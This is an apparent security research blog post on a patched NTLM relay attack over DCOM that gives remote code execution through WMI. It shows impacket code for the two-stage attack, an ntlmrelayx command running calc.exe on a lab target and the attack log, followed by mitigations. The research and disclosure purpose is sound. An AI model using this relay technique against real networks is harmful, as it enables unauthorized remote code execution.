A little bit over a year ago, I wrote an article on this blog about CVE-2020-1113 and how it enabled code execution on a remote machine through relaying NTLM authentication over RPC triggering a scheduled task on the remote system. Back then I wrote:
Microsoft released a fix as part of the Update Tuesday in May 2020. The solution implemented adds integrity requirement for the Task Scheduler Service. It does not fix the lack of global integrity requirement for RPC.
And then in the “Next Steps” section I mentioned it would be interesting to:
Develop more RPC attacks: Using MS-DCOM, MS-WMI or other protocols that were not analysed, it may be possible to make attacks work beyond CVE-2020-1113.
Are your seeing where this is going?
Once again, due to the absence of global integrity verification requirements for the RPC protocol, a man-in-the-middle attacker can relay his victim’s NTLM authentication to a target of his choice over the RPC protocol. Provided the victim has administrative privileges on the target, the attacker can then execute code on the remote target.
This vulnerability was discovered by Compass Security in June 2021, and it was soon discovered that it was already patched in newer versions of Windows. Indeed, this issue had already been reported by Dlive of Tencent Security Xuanwu Lab.
Microsoft released a fix as part of the Update Tuesday in June 2021. The solution implemented adds integrity requirement for the DCOM Service. It still does not fix the lack of global integrity requirement for RPC, but renders one big vector of attacks impossible.
NTLM Relaying 101
The diagram below gives a simplified view of NTLM relay attacks:
The attacker acts as a server to the client and as a client to the server. He extracts the NTLM authentication blobs from the client messages and puts them in modified messages to the server and vice versa. In the end, he can use the authenticated session as he sees fit.
For such an attack to work, one needs to be in a man-in-the-middle position. This can be achieved using traditional spoofing techniques (ARP, DNS, LLMNR & Netbios, etc.) or by triggering a connection to the attacker machine through a bug or misused feature (Printer Bug, PetitPotam, Juicy Potato, etc.).
NTLM relay has been used and reused in several attacks since my last blog post:
- Remote Potato by Antonio Cocomazzi and Andrea Pierini
- MSRPC Printer Spooler Relay by Eyal Karni and Alex Ionescu
- PetitPotam by Gilles Lionel is the newest way to trigger computer authentication through SMB
The re-authentication problem
Last year, I was writing:
MS-DCOM is used by MS-WMI and would be a nice attack vector. However, as a typical WMI code execution requires authenticating to several RPC interfaces, it’s not the best choice for the NTLM relay attack (without a re-authentication method).
This was without taking into account the latest development of impacket by 0xdeaddood, which implement SMB reauthentication using a response with the STATUS_NETWORK_SESSION_EXPIRED flag set. What a great feature!
Thanks to SMB reauthentication, we can authenticate to both RPC interfaces necessary for code execution over WMI. Now all we have to do is to split the attack from impacket’s wmiexec.py in two stages. When the first authentication from the victim arrives, we instantiate the DCOM object (using
scm = IRemoteSCMActivator(self.client) iInterface = scm.RemoteCreateInstance(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
If this works, we save the
iInterface object for the second stage and wait for re-authentication. When the second authentication arrives, we use the object to execute code:
iWbemLevel1Login = MyIWbemLevel1Login(iInterface, self.client) iWbemServices = MyIWbemServices(iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL), self.client) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') win32Process.Create(self.config.command, str('C:\\'), None)
PoC or GTFO
In our setup, the attacker machine has IP
172.16.100.248 and the target machine
FILESHARE is a Windows Server 2016 with IP
172.16.100.14. The victim user
WINLAB\scooper-da is in the local
Administrators group of the target machine and opens an SMB connection from the machine with IP
Attacker starts ntlmrelayx.py
The attacker installs our custom version of impacket and starts the tool on his host with IP
172.16.100.248. He wants to start
calc.exe on the target
# python3 ./examples/ntlmrelayx.py -debug -t dcom1://172.16.100.14 -c "calc.exe" Impacket v0.9.23.dev1 - Copyright 2020 SecureAuth Corporation [CUT BY COMPASS] [*] Protocol Client DCOM1 loaded.. [*] Protocol Client DCOM2 loaded.. [+] Protocol Attack DCOM2 loaded.. [+] Protocol Attack DCOM1 loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server [*] Servers started, waiting for connections
Victim triggers a connection
From the machine
172.16.100.18, the victim opens an SMB connection to the attacker machine. This mimics an administrator accessing a share or performing an administrative task:
> net view \\172.16.100.248\burpisnot\beef
Attacker relays and profits!
The tool picks the connection up and relays it. Since the relayed user is a local administrator on the target machine, he has the permission to execute remote commands:
[*] SMBD-Thread-4: Connection from WINLAB/SCOOPER-DA@172.16.100.18 controlled, attacking target dcom1://172.16.100.14 [*] Authenticating against dcom1://172.16.100.14 as WINLAB/SCOOPER-DA SUCCEED [+] DCOM1 Attack, CoCreateInstanceEx [+] No need to do a bind ... doing nothing [+] DCOM1 Attack, Done. Saving interface for later [*] SMBD-Thread-4: Connection from WINLAB/SCOOPER-DA@172.16.100.18 controlled, attacking target dcom2://WINLAB\SCOOPER-DA@172.16.100.14 [+] initializing DCOM2RelayClient [+] initializing DCOM2RelayClient connection, looking for INTERFACE with parameters 172.16.100.14, WINLAB/SCOOPER-DA [+] Target system is 172.16.100.14 and isFDQN is False [+] StringBinding: \\\\FILESHARE[\\PIPE\\atsvc] [+] StringBinding: FILESHARE [+] StringBinding: 172.16.100.14 [+] StringBinding chosen: ncacn_ip_tcp:172.16.100.14 [*] Authenticating against dcom2://WINLAB\SCOOPER-DA@172.16.100.14 as WINLAB/SCOOPER-DA SUCCEED [+] DCOM2 Attack, looking for interface with params 172.16.100.14, WINLAB/SCOOPER-DA [+] DCOM2 Attack, Level1Login [+] DCOM2 Attack, RemRelease [+] DCOM2 Attack, GetObjet Win32_Process [+] DCOM2 Attack, Execute command
As a result, code is executed on the FILESHARE machine.
In a nutshell
The Wireshark dump on the attacker machine shows the attack process:
We see the relayed authentication and the two attack stages above. Also note the “Auth level” which is set to “Connect”.
Trying it out
This attack relies on several issues. Here are some measures to solve the underlying problems:
- Patch your Windows! And ensure your setting enforce integrity on DCOM (see the Microsoft Update Guide)
- Enforce packet signing for clients and servers throughout your network via GPO.
- Check you Active Directory ACLs: the least privilege principle should be used.
- Network segmentation can help prevent relaying attacks.
- Stop using NTLM now 🤡
It might still be possible to develop more RPC attacks. Are there other protocols that were not analyzed and allow code execution? Let me know if you have an idea!
- agsolino, MartinGalloAr and 0xdeaddood for the great impacket
- All other authors and researchers mentioned in this article